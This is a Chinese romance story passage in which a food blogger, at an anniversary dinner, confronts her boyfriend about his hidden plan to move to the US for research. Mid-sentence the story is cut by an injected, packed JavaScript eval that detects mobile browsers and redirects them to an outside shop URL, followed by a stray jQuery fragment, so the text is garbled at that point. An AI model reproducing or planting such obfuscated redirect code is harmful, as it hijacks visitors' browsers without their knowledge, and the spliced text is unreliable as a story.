芒种前夕，北京。
这个时节又干又晒，人也没什么精神。林知白整理了下最近刚剪不久的刘海儿，镜子里的人一身米白色连衣裙，裙摆左右晃了晃。确定没什么问题，拿起一个小方包噔噔噔的出门了。
她今天约了穆行简去吃一家好吃的台州菜，纪念一下他们恋爱已经491天了。
穆行简还很纳闷，问她这是什么特殊日期吗，当然是了。
她还没出单元门就看见穆行简了，他带了一束百合，眉眼清隽，骨相利落，倚靠在墙边有几分疏懒。
“希望我们知知，百事合意。”
穆行简接过女朋友的包，牵起她的手往前走，花木扶疏间，国槐成荫，撑起一片阴凉。
台州菜属于浙菜的分支，追求一个“鲜”字，有道是“无鲜勿落饭”，讲究原汁原味，山海和合。
黄金脆带鱼，取鱼中段最肥美的部分，脆的酥香，熏的甜口。脆皮乳鸽，皮脆肉嫩，一口咬下去嘴里爆汁。小份的沙蒜烧豆面作主食，沙蒜又叫海葵，鲜味裹满红薯粉，鲜的高级。酸菜煮望潮是夏季必吃的菜品，望潮就是小章鱼，火候妙，脆爽q弹。虾籽拌茭白清爽脆嫩，蜜汁红薯甜糯绵密，作为甜品收尾。
作为一个百万粉丝的美食博主，林知白对于点菜是轻车熟路，什么季节吃什么是心里门儿清。应季、清淡、鲜美，当属台州菜和淮扬菜。
她手背托着脑袋，有一搭没一搭的嚼着茭白，像咀嚼一块橡胶。这家菜做的确实不错。黄金脆带鱼外酥里嫩。脆皮乳鸽色泽红亮，汁水充盈。沙蒜烧豆面鲜香浓郁，汤汁浓稠。一盘盘以往让她食指大动的美食摆在桌上，此刻仿佛失去色香味。
抬头，穆行简在给她细致的挑鱼刺，比平时都仔细，像是把这辈子所有的鱼刺都替她挑干净。她忍不住败兴的想，食物就是尸体碎片。
挑好刺的鱼被放到她碗里，动作很轻，她没动。他又给她盛了一小碗酸菜煮望潮，“尝尝，脆爽弹牙的望潮，咬一口像咬到夏天。”
侍者端来冰淇淋蛋糕，上面漂亮的勾勒着491，是穆行简提前订的，她一眼看出来是她常吃的那家。
她定定地盯着491，好像一错眼数字就会不翼而飞。
“知知，要不要拍照？”穆行简柔声，他看出女朋友似乎有些心事，让店家提前拿了蛋糕出来。
粉蓝配色的精致小蛋糕，旁边两个可爱小熊。白小熊头戴一个超大蝴蝶结，有点像头纱。棕小熊头顶一个蓝色锥形帽，脖颈前有个小领结。圆底盘上三三两两蓝粉色爱心。
很漂亮的蛋糕，买的人一定是很用心，所以摆在桌上也不显得格格不入。
幽暗的包厢，穆行简把她搂在怀里，他们在点燃的蜡烛前闭眼许愿。三张拍立得留下了这一刻。
侍者拍完安静的离开。林知白没有睁眼，她闭着眼慢慢把头蹭在穆行简怀里，忽然想起去年冬天。
去年冬天的第一场雪，他从实验室跑出来找她。雪下得很厚，视线里漫天遍地的雪，树上、地上、穆行简的睫毛上。他笑的很好看，唇红齿白，说自己这是林门立雪。那天他们俩穿了情侣装，林知白是暗红羽绒服，袖子上黑色线条。穆行简相反，黑色羽绒服，袖子上红色线条。都是侧边是红色条纹的黑色阔腿裤。
林知白摆好三脚架，点开录制，和穆行简帽子一扣跑到大槐树下，槐树枝干上全是雪，她蹦蹦跳跳的转圈，穆行简抱着树干狂摇。槐树枝干上的雪洋洋洒洒，一股脑的落下，她大叫“穆行简，雪太大啦！你摇轻一点！”
两人顶着一头雪，脑袋几乎碰着脑袋，凑到摄像机屏幕前，结果拍出来一点不唯美，几乎看不清人。但穆行简振振有词，说她点了录制后的歪头很可爱。
雪是冬天的来客，曾替天神见证过他们的幸福。
当时雪天呼出的热气好像能把人烫化了，而现在，六月的北京，坐在恒温26度的包厢里，寒意从脚底一寸寸蔓延上来。
林知白不觉瑟缩冷一下，穆行简轻轻拿过外套搭在她身上，伸手慢慢抚着爱人伶仃的背，缓声开口：“我们知知怎么了？”
林知白还没开口，就有些哽咽。他总是这样照顾她。
她想缓一缓情绪，好好的开口说，说不定是有什么误会。
林知白侧着身子慢慢坐直，抬头认真的盯着穆行简的双眼，“你……”未语泪先流。她深吸一口气，想让自己平静，说出口的字句依旧颤抖，“要去美国？”
她实在不知道怎么开头，委婉的话想了无数遍，到头来说的最直白。
包厢里阒然无声，只听得见中央空调微弱的清嗡和彼此的呼吸声。深色木作把气氛衬得沉且暗。他的面容被暖黄灯光照的明暗，棱角分明的脸逐渐模糊。
像死到临头的死囚犯，枪声已到。
短暂的解脱，紧随而至刺骨的难过，他伏法认罪。
“穆行简？”
语气是轻的，委屈的，痛的。
他向来趋利避害，可此刻说不出任何辩解，指节用力到发白，他听见自己发出声音，“你知道了。”
眼泪止不住的流淌，林知白嗯了一声，她望着她的爱人，那一刻心是慢的，没有起伏的平静。
就像她看到他录取邮件的那一刹那。
她以为他不确定是否能录取所以避而不谈，她告诉自己穆行简收到offer就会讲啦。
四十五天，度日如年。
她细细的打量他每一寸眉眼。她还记得高中时他回头看她，那时候两人头挨的很近，于是她发现他有一双桃花一样的眼睛，里面藏着宇宙里的秘密。
听起来很俗，但那一刻她确实只能想到桃花和星。哪怕这么多年过来，缠绵时她依旧亲吻他眼眸。
一晃这么多年了。
穆行简声音干涩，伸手去牵她的手，“知知，我……”他嘴唇动了一下，又抿紧了。手指无意识的想翻转什么。是笔，这是他思考时候的习惯，从高中他给她讲题的时候她就
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17841606|211663||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
知道了。
她等了四十五天，等的就是这几秒。
可他连这几秒解释都吝啬给她。
林知白失望的看着他，缓缓抽出手，眼泪如珠串，“你没办法说吗？你不知道怎么说，对吗？”
“我觉得是这样。因为我想了这么多天，没想出一个理由。”
“没想出一个、能为你辩解的、合理的理由。”她有点抽噎，仍是一字一句掰开了说。
“国内的时空探测研究还不够成熟，我……”穆行简站在那里，面色白得像一张纸，“对不起，知知。”
对不起，让你伤心。
他伸出手，想替她擦掉脸上的泪。就像以前每一次她窝在沙发上追剧看哭，他哄她的那样。他的手碰到她软软的脸颊，已经被泪水浸湿，她没有躲，只是抬起眼晴仔细的看着他。
她有一双偏圆润的杏眼，眼角钝圆，看人的时候显出几分无辜气质。那双眼睛里有泪，有委屈，有难过，还有一种在她眼里全然陌生的东西。后来他才想明白，那是审视。她用那双红通通的眼睛，重新审视他这个人，和他的爱。
手指僵在半空，他忽然有些不知所措。这一刻他忽然感受到，一种来自灵魂极深处的残缺。他垂下眼眸，不敢看爱人的眼睛。
她差一点就心软了。
他的手触到她的脸，温度和以前一样。那一瞬间，她几乎产生了错觉，仿佛什么都没有发生，今天只是普通的约会日，她蹭在他手边撒娇要他做的西红柿鸡蛋面。她差一点就这样做了。但她没有。
因为她忽然想到，他抚摸她脸庞的时候，在想什么呢？他会想他们不存在的以后吗？
委屈铺天盖地淹没她。她其实不怪他出国，为了学术也好，为了前程也好。她喜欢看他站在高处发光的样子。
穆行简，你许诺岁岁年年的时候，我是真的打算把我人生的一半拿出来，分给你，然后接受你的那一半。
可是你不是从我发现的那一天开始没说的，是从很久很久之前，久到我们重逢之前。
林知白扒拉着手指头，想数给他看，确认关系的491天里，你没有一天想跟我说的吗？
我觉得有，可我质疑你，也开始质疑自己。
朝夕相处，耳鬓厮磨。我最相信你了。可我夜里竟会翻来覆去的质疑，你和我的这一路，到底哪一刻真心。
“我们十六岁遇见，高中两年朝夕相处，除了假期几乎天天见面。大四的时候，我来北京拍摄，那天重逢。”
“那天也是3号，你研二，你跟我说你跳级了。”她掰着手指絮絮的说，“年底我们一起回家。新年的第一天，我们在一起。到我毕业，九月份的时候，你问我要不要留在北京，我说好。”
桌上粉白配色的蛋糕上，蜡烛静静地注视着一切，“491”这个数字，不知道什么时候，已经被融化的蜡油，模糊了最后一笔。
“我留在北京，一年四个月零六天，你要走了吗。穆行简？”